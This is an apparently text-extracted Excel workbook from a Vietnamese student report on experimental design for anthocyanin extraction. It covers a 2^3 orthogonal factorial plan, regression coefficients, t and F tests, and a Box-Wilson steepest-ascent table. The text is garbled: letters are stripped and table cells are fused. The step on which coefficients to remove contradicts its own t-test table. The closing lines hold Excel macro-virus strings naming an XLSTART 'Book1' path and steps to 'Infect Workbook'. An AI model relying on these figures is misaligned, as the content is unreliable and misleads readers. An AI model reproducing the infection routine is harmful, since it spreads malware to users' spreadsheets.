Sheet12. Cc bc thc hin bi ton quy hoch2.1. Chn phng n quy hoch xc nh hng i ca ti v nhanh chng tin ti min ti u chng ti chn phng n quy hoch trcgiao cp I (TYT 2k) thc nghim yu t ton phn 2 mc, k yu t nh hng. Phng trnh hi quy c dng:Y = b0 + b1x1 + b2x2 + b3x3 + b12x1x2 + b13x13 + b23x2x3 + b123x1x2x3Trong :b0: H s hi qui.b1, b2, b3: H s tuyn tnhb12, b13, b23: H s tng tc i.b123: H s tng tc ba.Mi h s b c trng cho nh hng ca cc yu t n qu trnh chit tch.2.2. T chc th nghim trc giao cp ITheo [1] s th nghim cho phng n l 2k = 8, (k = 3) v iu kin th nghim c ghi bng (3.5).Bng 3.5: iu kin cc th nghim c chnCc mcCc yu t nh hngZ1Z2Z3Mc trn (+1)300451.25Mc c s250401Mc di (-1)200350.75Khong bin thin5050.25T cch chn phng n v iu kin th nghim, chng ti xy dng ma trn thc nghim theo bin m v tinhnh th nghim theo ma trn. Kt qu c ghi bng (3.6).Bng 3.6: Ma trn thc nghim trc giao cp I, k = 3, v kt quSTTBIN THCBin mY2(Y0u)( u - Yu)2Z1Z2Z3x0x1x2x3x1x2x1x3x2x3x1x2x31300451.2511111111296343.252232.5625002200451.251-111-1-11-1122.000278.2524414.0625003300351.2511-11-11-1-1239209900.0000004200351.251-1-111-1-11586412.530102.2500005300450.75111-11-1-1-1232209.75495.0625006200450.751-11-1-11-11292413.2514701.5625007300350.7511-1-1-1-11133934425.0000008200350.751-1-1-1111-138327910816.000000T100000000295T200000000312T300000000293Trong :Z1: Nhit chit, 0C.Z2: Thi gian chit, pht.Z3: T l nc trong dung mi, %V.Y2: Hm mc tiu mu anthocyanin.2.3. Xy dng m t ton hc cho hm mc tiu hm lng anthocyanin2.3.1. Chn phng trnh hi quyPhng trnh hi quy c chn theo phng trnh (3.1). Cc h s b1, b2, b3, , b123 c tnh theo s liuthc nghim hm mc tiu hm lng anthocyanin (Y1).2.3.2. Tnh h s bV phng n la chn l quy hoch trc giao cp I nn cc h s b trong phng trnh hi quy (3.1) c tnhtheo cc cng thc sau:Ta c:-34.625311.125-0.375-75.625-8.62563.12567.125-26.125Vy ta c phng trnh hi quy dng nh sau:2.3.3. Kim nh mc ngha ca cc h s b trong phng trnh 3.1 th nghim trn, v khng lm th nghim song song xc nh phng sai ti hin ngi ta lm 3 thnghim ti tm phng n v nhn c 3 gi tr ca thng s ti u ha y nh sau:y10 =4.845y20 =4.996y30 =4.3770.10424.73930.32280.1141Tra bng phn b v chun Student t(p,f) vi p = 0,05 v f = 2 ta c:t(p,f) = t(0.05,2) =4.3Cc h s c kim nh theotiu chun Student (t)H sbj|bj|tjSo snh tj v t(p,(f))b0311.125311.1252726.7747589834thoa manNu tj > t(p,(f)) th h s bj c nghab1-34.62534.625303.4618755478thoa manNu tj < t(p,(f)) th h s bj b loi khi ptb2-75.62575.625662.7957931639thoa manb3-0.3750.3753.2865907099loaib1263.12563.125553.2427695004thoa manb13-8.6258.62575.5915863278thoa manb23-26.12526.125228.9658194566thoa manb12367.12567.125588.2997370727thoa manSau khi kim tra mc ngha ca cc h s b ta c: h s b2, b12, b13, b23 b loi khi phng trnh.Vy: Phng trnh hi quy c dng:2.3.4. Kim nh s ph hp ca phng trnh hi quy vi thc nghimS tng thch ca phng trnh vi thc nghim c kim nh theo tiu chun Fisher (F):803133.3973S2th l phng sai ti hin ng vi phng n th nghim ti tm =S2d l phng sai tng thch, c tnh theo cng thc di y i vi phng n th nghim ti tm.fd = N - LN : s th nghimN = 883686.5L : h s c ngha trong PTHQL = 7803133.3973Tra bng phn b v chun Fisher Fp(f1,f2) vi mc ngha: p=0.05 ; f1=N-L=3 ; f2= m-1=2Fb = F(0.05,3,2) =3. Bi ton ti u ho:PTHQ hon ton tuyn tnh nn ta c th t chc tm iu kin ti u bng phng php leo dc ca Box - WilsonBng tnh bc chuyn ng j ca cc yu tCc ch tiuZ1Z2Z3Mc c s250401Khong bin thin(j)5050.25H s bj-34.6250-0.375bjj-1731.250-0.09375jbj1731.2500.09375Bc chuyn ng i2000.0010830325Lm trn j2000T bng trn ta thy jbjmax = 1b1 =Tnh bc chuyn ng ca tng yu t: Chn Sj = S1 =Kt qu th nghim theo hng dc ng:Th NghimCc yu t nh hngHm mc tiuZ1Z2Z3x1x2x3Y212504010004.511922704010.4004.2389432904010.8003.9659843104011.2003.6930253304011.6003.4200663504012003.147173704012.4002.8741483904012.8002.60118

Sheet2

Sheet3Y = 1.023 +0.061x1 - 0.036x2 -0.03x3 - 0.018x1x2 - 0.037x1x3 -0.025x2x3 + 0.015x1x2x3

XXXXXXXX**Our Values and Paths****Set Our Values and Paths**nhom 2.xlsBook1C:\Users\dell\AppData\Roaming\Microsoft\Excel\XLSTART\Book1.3**Add New Workbook, Infect It, Save It As Book1.****Infect Workbook****Auto and On Sheet Starts Here**

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